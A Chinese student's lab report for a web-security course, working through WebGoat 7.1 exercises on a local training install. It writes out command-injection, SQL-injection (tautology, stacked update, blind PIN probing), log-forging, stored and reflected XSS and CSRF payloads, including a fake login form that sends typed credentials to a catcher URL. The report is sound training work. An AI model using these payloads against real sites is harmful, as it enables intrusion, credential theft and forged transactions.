WebGoat下载地址:webgoat-container-7.1-exec.jar
在下载目录下运行终端输入命令java -jar webgoat-container-7.1-exec.jar
当终端中出现Starting ProtocolHandler ["http-bio-8080"]
时,WebGoat搭建完毕(不要关闭终端)
在浏览器中输入http://127.0.0.1:8080/WebGoat/login.mvc
,进入登录界面,下面有提供guest
直接登录即可
由于WebGoat的版本问题,可能在打开后发现左边没有各项课程
我们需要更换Javaversion,详细步骤
更新完成界面
命令注入攻击是在正常的参数提交过程中,添加恶意的代码的攻击方法,它向操作系统注入命令,使用系统命令获取文件的内容,它对针对任何一个以参数驱动的站点,技术方法简单易学,能造成大范围的损害,危及系统安全,尽管这类风险数目很多,但互联网中的系统很容易受到这种形>>式的攻击。
Inspect Element
审查网页元素,然后修改源代码Edit At Html
进行修改,添加"& ps -ef"
注入数字型数据(如:永真式)达到注入的效果,在station字段中注入特征字符,组合成新的SQL语句。如:
SELECT * FROM weather_data WHERE station = [station]
or 1=1
,使该式子成为永真式SELECT * FROM weather_data WHERE station = 101 or 1 = 1
,后面是永真式。所以这样会执行语句SELECT * FROM weather_data
,这样就可以获得所有地区的天气信息了添加假的日志信息来迷惑操作系统,目的是让用户名admin成功登录,通过在日志文件中插入脚本实现欺骗,攻击者可以利用这种方式清除他们在日志中的痕迹,攻击者还可以利用这种方式向日志文件中添加恶意脚本
User Name
输入wpy%0d%0aLogin Succeeded for username: admin
,%0d
是空格,%0a
是换行下面的表格允许用户查看他们的信用卡号码。尝试注入一个SQL字符串,导致显示所有信用卡号。尝试用户名“史密斯”。和数字型一样,我们的目的是构建一个永真式.
Neville(admit)
登录,输入密码hello‘ or ‘1‘ = ‘1
,成功得到所有人员列表101 or 1=1 order by salary desc
ViewProfile
,成功得到老板的账户信息数据库通常作为一个 Web 应用程序的后端,它可以被用来作为存储恶意活动的地方,如触发器,可以利用查询的脆弱性创建触发器
101; update employee set Password=5226
执行,可以看见密码框变为了设置的密码101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 100 );
看pin的值是否大于100,显示数是合法的;再用500、1000、5000尝试,发现pin应该是小于5000的varchar
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=‘4321432143214321‘), 1, 1) <‘H‘ );
如果有权限操作页面源代码,HTML文档的内容是可以被篡改的,当用户输入非法HTTP响应时容易受到XSS攻击,在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容, 对于受害者来说很难发现该内容是否存在威胁
</form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>
这种攻击常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中.因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行,创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容
title
中任意wpy
。在Message中输入代码<script>alert(‘20175226wpy‘)</script>
wpy
的链接,点击该链接,由其他人浏览,就会弹出一个对话框,写着20175226wpy
,证明XSS攻击成功在反射的XSS攻击中,攻击者可以使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件或其他方式让受害者点击它,发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,XSS随响应内容一起返回给浏览器,最后浏览器解析执行XSS代码,反射型XSS是不持久的,在提交到后台的过程中输入的JavaScript脚本就会被执行
<script>alert("wpy5226");</script>
,点击Purchase
,成功显示警告框,内容为我们script脚本写的wpy5226
跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段,通过这种方法,攻击者可以让受害者执行一些他们本来没打算执行的操作,如注销、采购项目或者这个脆弱的网站提供的任何其他功能
scr
和menu
在消息框中嵌入HTML代码<img src="http://localhost/WebGoat/attack?Screen=2078372&menu=900&transferFunds=5000" width="1" height="1" />
跨站点请求伪造欺骗受害者加载包含“伪造请求”的页面,以便使用受害者的凭据执行命令,提示用户确认或取消命令可能听起来像一个解决方案,但如果提示符是可编写脚本的,则可以忽略它
Parameters
中的src
和menu
值分别为1471017872和900,并在title
框中输入学号,message
框中输入代码:<iframe src="attack?Screen=1471017872&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=1471017872&menu=900&transferFunds=CONFIRM"> </iframe>
Message List
中生成以title
命名的链接,点击进入后,攻击成功2019-2020-2 20175226王鹏雲《网络对抗技术》Exp9 Web安全基础
原文:https://www.cnblogs.com/20175226wpy/p/12961605.html